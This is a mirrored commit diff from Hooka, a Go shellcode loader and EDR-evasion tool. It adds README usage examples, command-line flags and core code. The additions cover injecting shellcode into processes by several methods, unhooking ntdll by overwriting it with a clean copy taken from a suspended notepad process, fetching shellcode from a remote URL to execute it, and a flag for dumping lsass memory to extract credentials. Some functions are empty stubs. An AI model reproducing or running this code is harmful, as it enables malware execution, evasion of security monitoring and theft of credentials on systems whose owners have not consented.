mirror of
https://github.com/D3Ext/Hooka
synced 2026-06-08 10:49:57 +00:00
more functions and implementations
This commit is contained in:
@@ -0,0 +1,5 @@
|
||||
- initial commit
|
||||
- Create FUNDING.yml
|
||||
- Update README.md
|
||||
- Update README.md
|
||||
- Initial commit
|
||||
@@ -26,7 +26,11 @@ There isn't too much info about detecting Windows hooks in ***Golang*** so I dec
|
||||
- Detects hooked functions (i.e. CreateRemoteThread)
|
||||
- Compatible with base64 and hex encoded shellcode
|
||||
- Hell's Gate technique
|
||||
- Capable of unhooking functions
|
||||
- Capable of unhooking functions via multiple techniques:
|
||||
- Classic unhooking
|
||||
- Full DLL unhooking
|
||||
- Perun's Fart technique
|
||||
|
||||
- Multiple shellcode injection techniques:
|
||||
- CreateRemoteThread
|
||||
- Fibers
|
||||
@@ -51,12 +55,45 @@ NtdllDialogWndProc_W
|
||||
ZwQuerySystemTime
|
||||
```
|
||||
|
||||
Just clone the repository like this:
|
||||
- Just clone the repository like this:
|
||||
|
||||
```sh
|
||||
git clone https://github.com/D3Ext/Hooka
|
||||
```
|
||||
|
||||
> This is the help panel
|
||||
```
|
||||
_ _ _ _
|
||||
| | | | ___ ___ | | __ __ _ | |
|
||||
| |_| | / _ \ / _ \ | |/ / / _` | | |
|
||||
| _ | | (_) | | (_) | | < | (_| | |_|
|
||||
|_| |_| \___/ \___/ |_|\_\ \__,_| (_)
|
||||
by D3Ext - v0.1
|
||||
|
||||
-b64
|
||||
decode base64 encoded shellcode
|
||||
-dll string
|
||||
path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)
|
||||
-file string
|
||||
path to file where shellcode is stored
|
||||
-hells
|
||||
enable Hell's Gate technique to try to evade possible EDRs
|
||||
-hex
|
||||
decode hex encoded shellcode
|
||||
-hooks
|
||||
dinamically detect hooked functions by EDR
|
||||
-lsass string
|
||||
dump lsass.exe process memory into a file to extract credentials (run as admin)
|
||||
-t string
|
||||
shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)
|
||||
-test
|
||||
test shellcode injection capabilities by spawning a calc.exe
|
||||
-unhook int
|
||||
overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart
|
||||
-url string
|
||||
remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)
|
||||
```
|
||||
|
||||
> Detect hooked functions by EDR (including false positives)
|
||||
```sh
|
||||
.\Hooka.exe --hooks
|
||||
@@ -79,6 +116,16 @@ If no technique is especified it will use a random one
|
||||
.\Hooka.exe -t Fibers --file shellcode.bin
|
||||
```
|
||||
|
||||
> Decode shellcode from hex
|
||||
```sh
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hex
|
||||
```
|
||||
|
||||
> Decode shellcode from base64
|
||||
```sh
|
||||
.\Hooka.exe --file shellcode.bin --b64
|
||||
```
|
||||
|
||||
> Inject shellcode using Hell's Gate
|
||||
```sh
|
||||
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells
|
||||
@@ -86,16 +133,18 @@ If no technique is especified it will use a random one
|
||||
|
||||
> Unhook function before injecting shellcode
|
||||
```sh
|
||||
.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook
|
||||
.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook 3
|
||||
```
|
||||
|
||||
As you can see Hooka provides a lot of CLI flags to help you in all kind of situations
|
||||
|
||||
# Demo
|
||||
|
||||
> Detecting hooks
|
||||
<img src="assets/hooks.png">
|
||||
|
||||
> Injecting shellcode via CreateRemoteThread
|
||||
<img src="assets/test.png">
|
||||
<img src="assets/crt.png">
|
||||
|
||||
> Test function
|
||||
<img src="assets/test.png">
|
||||
@@ -111,6 +160,8 @@ If no technique is especified it will use a random one
|
||||
|
||||
:black_square_button: Better error handling
|
||||
|
||||
:black_square_button: Test unhooking functions against some EDR
|
||||
|
||||
# Library
|
||||
|
||||
If you're looking to implement any function in your malware you can do it using the official package API:
|
||||
@@ -161,12 +212,15 @@ import (
|
||||
|
||||
func main(){
|
||||
|
||||
// = CreateRemoteThread
|
||||
proc, err := hooka.FuncFromHash("") // Returns a pointer to function like NewProc()
|
||||
// 8c2beefa1c516d318252c9b1b45253e0549bb1c4 = CreateRemoteThread
|
||||
|
||||
// Returns a pointer to function like NewProc()
|
||||
proc, err := hooka.FuncFromHash("8c2beefa1c516d318252c9b1b45253e0549bb1c4")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
// Now use the procedure as loading it from dll
|
||||
proc.Call()
|
||||
|
||||
...
|
||||
@@ -201,9 +255,25 @@ func main(){
|
||||
}
|
||||
```
|
||||
|
||||
> Unhook a function
|
||||
> Unhook a function (3 ways)
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
"github.com/D3Ext/Hooka/pkg/hooka"
|
||||
)
|
||||
|
||||
func main(){
|
||||
err := hooka.ClassicUnhook("NtCreateThread", "C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
fmt.Println("[+] Function should have been unhooked!")
|
||||
}
|
||||
```
|
||||
|
||||
# Contributing
|
||||
@@ -220,6 +290,8 @@ https://github.com/timwhitez/Doge-Gabh
|
||||
https://github.com/Ne0nd0g/go-shellcode
|
||||
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
|
||||
https://github.com/Kara-4search/HookDetection_CSharp
|
||||
https://github.com/plackyhacker/Peruns-Fart
|
||||
https://blog.sektor7.net/#!res/2021/perunsfart.md
|
||||
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
|
||||
```
|
||||
|
||||
@@ -229,6 +301,10 @@ Creator isn't in charge of any and has no responsibility for any kind of: illega
|
||||
|
||||
Use this project under your own responsability!
|
||||
|
||||
# Changelog
|
||||
|
||||
See [CHANGELOG.md](https://github.com/D3Ext/Hooka/blob/main/CHANGELOG.md)
|
||||
|
||||
# License
|
||||
|
||||
This project is licensed under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
|
||||
|
||||
+104
-1
@@ -6,12 +6,15 @@ import (
|
||||
"fmt"
|
||||
"time"
|
||||
"bytes"
|
||||
"strings"
|
||||
"net/http"
|
||||
"math/rand"
|
||||
"io/ioutil"
|
||||
"crypto/sha1"
|
||||
"encoding/binary"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
// Third-party packages
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
@@ -95,7 +98,6 @@ func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and
|
||||
}
|
||||
|
||||
// Convert string to Sha1 (used for hashing)
|
||||
|
||||
func StrToSha1(str string) (string) {
|
||||
h := sha1.New()
|
||||
h.Write([]byte(str))
|
||||
@@ -103,4 +105,105 @@ func StrToSha1(str string) (string) {
|
||||
return fmt.Sprintf("%x", bs)
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
This code has been taken from BananaPhone and Doge-Gabh project
|
||||
|
||||
*/
|
||||
|
||||
type sstring struct {
|
||||
Length uint16
|
||||
MaxLength uint16
|
||||
PWstr *uint16
|
||||
}
|
||||
|
||||
func (s sstring) String() (string) {
|
||||
return windows.UTF16PtrToString(s.PWstr)
|
||||
}
|
||||
|
||||
func inMemLoads(modulename string) (uintptr, uintptr) {
|
||||
s, si, p := gMLO(0)
|
||||
start := p
|
||||
i := 1
|
||||
|
||||
if (strings.Contains(strings.ToLower(p), strings.ToLower(modulename))) {
|
||||
return s, si
|
||||
}
|
||||
|
||||
for {
|
||||
s, si, p = gMLO(i)
|
||||
|
||||
if p != "" {
|
||||
if (strings.Contains(strings.ToLower(p), strings.ToLower(modulename))) {
|
||||
return s, si
|
||||
}
|
||||
}
|
||||
|
||||
if (p == start) {
|
||||
break
|
||||
}
|
||||
|
||||
i++
|
||||
}
|
||||
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
func findFirstSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
|
||||
|
||||
offset := 0
|
||||
pattern1 := []byte{0x0f, 0x05, 0xc3}
|
||||
pattern2 := []byte{0xcc, 0xcc, 0xcc}
|
||||
|
||||
// find first occurance of syscall+ret instructions
|
||||
for i := 0; i < size-3; i++ {
|
||||
instructions := []byte{pMem[i], pMem[i+1], pMem[i+2]}
|
||||
|
||||
if (instructions[0] == pattern1[0]) && (instructions[1] == pattern1[1]) && (instructions[2] == pattern1[2]) {
|
||||
offset = i
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// find the beginning of the syscall
|
||||
for i := 3; i < 50; i++ {
|
||||
instructions := []byte{pMem[offset-i], pMem[offset-i+1], pMem[offset-i+2]}
|
||||
if (instructions[0] == pattern2[0]) && (instructions[1] == pattern2[1]) && (instructions[2] == pattern2[2]) {
|
||||
offset = offset - i + 3
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return offset
|
||||
}
|
||||
|
||||
func findLastSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
|
||||
|
||||
offset := 0
|
||||
pattern := []byte{0x0f, 0x05, 0xc3, 0xcd, 0x2e, 0xc3, 0xcc, 0xcc, 0xcc}
|
||||
|
||||
for i := size - 9; i > 0; i-- {
|
||||
instructions := []byte{pMem[i], pMem[i+1], pMem[i+2], pMem[i+3], pMem[i+4], pMem[i+5], pMem[i+6], pMem[i+7], pMem[i+8]}
|
||||
|
||||
if (instructions[0] == pattern[0]) && (instructions[1] == pattern[1]) && (instructions[2] == pattern[2]) {
|
||||
offset = i + 6
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return offset
|
||||
}
|
||||
|
||||
func gMLO(i int) (start uintptr, size uintptr, modulepath string) {
|
||||
var badstring *sstring
|
||||
start, size, badstring = getMLO(i)
|
||||
modulepath = badstring.String()
|
||||
return
|
||||
}
|
||||
|
||||
//getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll.
|
||||
func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring) {
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
|
||||
This package exports all windows struct which are used
|
||||
|
||||
*/
|
||||
|
||||
type IMAGE_OPTIONAL_HEADER struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion uint8
|
||||
MinorLinkerVersion uint8
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory [16]IMAGE_DATA_DIRECTORY
|
||||
}
|
||||
|
||||
type IMAGE_DATA_DIRECTORY struct {
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
}
|
||||
|
||||
type IMAGE_FILE_HEADER struct {
|
||||
Machine uint16
|
||||
NumberOfSections uint16
|
||||
TimeDateStamp uint32
|
||||
PointerToSymbolTable uint32
|
||||
NumberOfSymbols uint32
|
||||
SizeOfOptionalHeader uint16
|
||||
Characteristics uint16
|
||||
}
|
||||
|
||||
type IMAGE_NT_HEADER struct {
|
||||
Signature uint32
|
||||
FileHeader IMAGE_FILE_HEADER
|
||||
OptionalHeader IMAGE_OPTIONAL_HEADER
|
||||
}
|
||||
|
||||
type IMAGE_DOS_HEADER struct { // DOS .EXE header
|
||||
E_magic uint16 // Magic number
|
||||
E_cblp uint16 // Bytes on last page of file
|
||||
E_cp uint16 // Pages in file
|
||||
E_crlc uint16 // Relocations
|
||||
E_cparhdr uint16 // Size of header in paragraphs
|
||||
E_minalloc uint16 // Minimum extra paragraphs needed
|
||||
E_maxalloc uint16 // Maximum extra paragraphs needed
|
||||
E_ss uint16 // Initial (relative) SS value
|
||||
E_sp uint16 // Initial SP value
|
||||
E_csum uint16 // Checksum
|
||||
E_ip uint16 // Initial IP value
|
||||
E_cs uint16 // Initial (relative) CS value
|
||||
E_lfarlc uint16 // File address of relocation table
|
||||
E_ovno uint16 // Overlay number
|
||||
E_res [4]uint16 // Reserved words
|
||||
E_oemid uint16 // OEM identifier (for E_oeminfo)
|
||||
E_oeminfo uint16 // OEM information; E_oemid specific
|
||||
E_res2 [10]uint16 // Reserved words
|
||||
E_lfanew uint16 // File address of new exe header
|
||||
}
|
||||
|
||||
|
||||
|
||||
+4
-4
@@ -10,14 +10,14 @@ import (
|
||||
"flag"
|
||||
)
|
||||
|
||||
func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool, bool, string) {
|
||||
func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, bool, string) {
|
||||
var sc_url string
|
||||
var sc_file string
|
||||
var dll_file string
|
||||
var technique string
|
||||
var hook_detect bool
|
||||
var hells bool
|
||||
var unhook bool
|
||||
var unhook int
|
||||
var base64_flag bool
|
||||
var hex_flag bool
|
||||
var test_flag bool
|
||||
@@ -26,10 +26,10 @@ func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool,
|
||||
flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
|
||||
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
|
||||
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
|
||||
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (by default: random)")
|
||||
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)")
|
||||
flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
|
||||
flag.BoolVar(&hells, "hells", false, "enable Hell's Gate technique to try to evade possible EDRs")
|
||||
flag.BoolVar(&unhook, "unhook", false, "overwrite syscall memory address to bypass EDR (if no function is hooked it doesn't do nothing)")
|
||||
flag.IntVar(&unhook, "unhook", 0, "overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart")
|
||||
flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
|
||||
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
|
||||
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
|
||||
|
||||
+1
-1
@@ -11,7 +11,7 @@ https://github.com/C-Sto/BananaPhone
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
//"fmt"
|
||||
"errors"
|
||||
"strings"
|
||||
|
||||
|
||||
+7
-6
@@ -9,35 +9,36 @@ var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "Earl
|
||||
|
||||
func InjectWithTechnique(shellcode []byte, technique string) (error) {
|
||||
// Check especified injection technique
|
||||
|
||||
if (strings.ToLower(technique) == "createremotethread") {
|
||||
err := CreateRemoteThread(shellcode)
|
||||
if err != nil {
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "fibers") {
|
||||
err := Fibers(shellcode)
|
||||
if err != nil {
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "createprocess") {
|
||||
err := CreateProcess(shellcode)
|
||||
if err != nil {
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else if (strings.ToLower(technique) == "earlybirdapc") {
|
||||
err := EarlyBirdApc(shellcode)
|
||||
if err != nil {
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
|
||||
} else {
|
||||
rand_n := RandomInt(3, 0)
|
||||
rand_n := RandomInt(3, 0) // Choose a random technique
|
||||
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
|
||||
err := InjectWithTechnique(shellcode, techniques[rand_n])
|
||||
if err != nil {
|
||||
if err != nil { // Handle error
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
+112
-4
@@ -9,14 +9,20 @@ https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-o
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
"bytes"
|
||||
"strings"
|
||||
"errors"
|
||||
"unsafe"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
func Unhook(funcname string) (error) {
|
||||
// This function unhooks given function of especified dll (NtCreateThread and C:\\Windows\\System32\\ntdll.dll)
|
||||
func ClassicUnhook(funcname string, dllpath string) (error) {
|
||||
|
||||
// Load DLL APIs
|
||||
k32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
@@ -27,7 +33,8 @@ func Unhook(funcname string) (error) {
|
||||
|
||||
var assembly_bytes []byte
|
||||
|
||||
ntdll_lib, _ := syscall.LoadLibrary("C:\\Windows\\System32\\ntdll.dll")
|
||||
// should be full path: C:\\Windows\\System32\\ntdll.dll
|
||||
ntdll_lib, _ := syscall.LoadLibrary(dllpath)
|
||||
defer syscall.FreeLibrary(ntdll_lib)
|
||||
|
||||
procAddr, _ := syscall.GetProcAddress(ntdll_lib, funcname)
|
||||
@@ -41,7 +48,8 @@ func Unhook(funcname string) (error) {
|
||||
|
||||
ownHandle, _, _ := getCurrentProcess.Call()
|
||||
|
||||
ntdll_ptr, _ := windows.UTF16PtrFromString("ntdll.dll")
|
||||
// Convert dll name to pointer
|
||||
ntdll_ptr, _ := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3])
|
||||
moduleHandle, _, _ := getModuleHandle.Call(uintptr(unsafe.Pointer(ntdll_ptr)))
|
||||
|
||||
func_ptr, _ := windows.UTF16PtrFromString(funcname)
|
||||
@@ -53,4 +61,104 @@ func Unhook(funcname string) (error) {
|
||||
return nil
|
||||
}
|
||||
|
||||
func FullUnhook(dllpath string) (error) {
|
||||
return nil
|
||||
}
|
||||
|
||||
func PerunsUnhook() (error) {
|
||||
var si syscall.StartupInfo
|
||||
var pi syscall.ProcessInformation
|
||||
si.Cb = uint32(unsafe.Sizeof(syscall.StartupInfo{}))
|
||||
|
||||
cmdline, err := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
err = syscall.CreateProcess(
|
||||
nil,
|
||||
cmdline,
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
windows.CREATE_NEW_CONSOLE | windows.CREATE_SUSPENDED,
|
||||
nil,
|
||||
nil,
|
||||
&si,
|
||||
&pi,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
time.Sleep(800 * time.Millisecond)
|
||||
|
||||
ntd, _ := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
|
||||
if (ntd == 0) {
|
||||
return errors.New("an error has ocurred while loading ntdll.dll")
|
||||
}
|
||||
addrMod := ntd
|
||||
|
||||
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(addrMod + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(addrMod)).E_lfanew)))
|
||||
if (ntHeader == nil) {
|
||||
return errors.New("an error has ocurred while getting nt header")
|
||||
}
|
||||
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
modSize := ntHeader.OptionalHeader.SizeOfImage
|
||||
if (modSize == 0) {
|
||||
return errors.New("an error has ocurred while getting nt header size")
|
||||
}
|
||||
|
||||
cache := make([]byte, modSize)
|
||||
var lpNumberOfBytesRead uintptr
|
||||
|
||||
err = windows.ReadProcessMemory(
|
||||
windows.Handle(uintptr(pi.Process)),
|
||||
addrMod,
|
||||
&cache[0],
|
||||
uintptr(modSize),
|
||||
&lpNumberOfBytesRead,
|
||||
)
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
e := syscall.TerminateProcess(pi.Process, 0)
|
||||
if e != nil {
|
||||
return e
|
||||
}
|
||||
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
pe0, err := pe.NewFileFromMemory(bytes.NewReader(cache))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
secHdr := pe0.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
|
||||
|
||||
startOffset := findFirstSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
|
||||
endOffset := findLastSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
|
||||
cleanSyscalls := cache[startOffset:endOffset]
|
||||
|
||||
var writenum uintptr
|
||||
e = windows.WriteProcessMemory(
|
||||
0xffffffffffffffff,
|
||||
addrMod+uintptr(startOffset),
|
||||
&cleanSyscalls[0],
|
||||
uintptr(len(cleanSyscalls)),
|
||||
&writenum,
|
||||
)
|
||||
|
||||
if e != nil {
|
||||
return e
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -20,39 +20,44 @@ func main() {
|
||||
var err error
|
||||
|
||||
// Parse CLI flags and retrieve values
|
||||
sc_url, sc_file, dll_file, technique, hook_detect, _, _, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
|
||||
sc_url, sc_file, dll_file, technique, hook_detect, _, unhook, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
|
||||
|
||||
l.PrintBanner("Hooka!")
|
||||
l.Println(" by D3Ext - v0.1")
|
||||
l.Println(" by D3Ext - v0.1")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (!hook_detect) && (!test_flag) { // Enter here if any main flag was especified
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)")
|
||||
l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)\n")
|
||||
os.Exit(0)
|
||||
|
||||
} else if (sc_url != "") && (sc_file != "") && (dll_file == "") { // Check if both --url and --file flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --url and --file at the same time!")
|
||||
l.Println("\n[-] Error: you can't use --url and --file at the same time!\n")
|
||||
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file != "") { // Check if both --url and --dll flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --url and --dll at the same time!")
|
||||
l.Println("\n[-] Error: you can't use --url and --dll at the same time!\n")
|
||||
|
||||
} else if (sc_url == "") && (sc_file != "") && (dll_file != "") { // Check if both --file and --dll flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --file and --dll at the same time!")
|
||||
l.Println("\n[-] Error: you can't use --file and --dll at the same time!\n")
|
||||
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") {
|
||||
|
||||
if (base64_flag) && (hex_flag) { // Check if both flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
|
||||
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!\n")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if (unhook != 1) && (unhook != 2) && (unhook != 3) && (unhook != 0) {
|
||||
l.Println("\n[-] Unknown unhooking technique! Allowed values: 1, 2, 3\n")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
@@ -94,6 +99,36 @@ func main() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
}
|
||||
|
||||
// Unhook function(s)
|
||||
if (unhook == 1) {
|
||||
l.Println("[*] Unhooking functions via Classic technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else if (unhook == 2) {
|
||||
l.Println("[*] Unhooking functions via Full Dll technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.FullUnhook("ntdll.dll")
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else if (unhook == 3) {
|
||||
l.Println("[*] Unhooking functions via Perun's Fart technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.PerunsUnhook()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (technique != "") {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " function")
|
||||
}
|
||||
@@ -102,20 +137,20 @@ func main() {
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Shellcode should have been executed without errors!")
|
||||
l.Println("[+] Shellcode should have been executed without errors!\n")
|
||||
|
||||
} else if (sc_file != "") && (sc_url == "") && (dll_file == "") {
|
||||
|
||||
if (base64_flag) && (hex_flag) { // Check if both flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
|
||||
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!\n")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
_, err := os.Stat(sc_file) // Check if file exists
|
||||
if os.IsNotExist(err) {
|
||||
l.Println("\n[-] Especified file doesn't exist!")
|
||||
l.Println("\n[-] Especified file doesn't exist!\n")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -158,7 +193,37 @@ func main() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
}
|
||||
|
||||
if technique != "" {
|
||||
// Unhook function(s)
|
||||
if (unhook == 1) {
|
||||
l.Println("[*] Unhooking functions via Classic technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.ClassicUnhook(technique, "C:\\Windows\\System32\\ntdll.dll")
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has ocurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else if (unhook == 2) {
|
||||
l.Println("[*] Unhooking functions via Full Dll technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.FullUnhook("ntdll.dll")
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has ocurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else if (unhook == 3) {
|
||||
l.Println("[*] Unhooking functions via Perun's Fart technique...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err := core.PerunsUnhook()
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has ocurred while unhooking functions!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if (technique != "") {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
}
|
||||
|
||||
@@ -166,7 +231,7 @@ func main() {
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Shellcode should have been executed without errors!")
|
||||
l.Println("[+] Shellcode should have been executed without errors!\n")
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") {
|
||||
|
||||
@@ -175,7 +240,7 @@ func main() {
|
||||
|
||||
_, err := os.Stat(dll_filename) // Check if especified dll exists
|
||||
if os.IsNotExist(err) {
|
||||
l.Println("\n[-] Especified DLL doesn't exists!")
|
||||
l.Println("\n[-] Especified DLL doesn't exists!\n")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
}
|
||||
@@ -203,28 +268,30 @@ func main() {
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Shellcode should have been executed without errors")
|
||||
l.Println("[+] Shellcode should have been executed without errors!\n")
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (hook_detect) { // Enter here if --hooks flag was especified
|
||||
|
||||
l.Println("\n[*] Detecting hooked functions...")
|
||||
|
||||
all_hooks, err := core.DetectHooks() // Get all hooked functions
|
||||
if err != nil {
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Process finished")
|
||||
|
||||
if len(all_hooks) >= 1 { // Check if hooks array contains at least one function
|
||||
l.Println("[*] Hooked functions:")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("[*] Hooked functions:\n")
|
||||
for _, h := range all_hooks {
|
||||
l.Println(h)
|
||||
}
|
||||
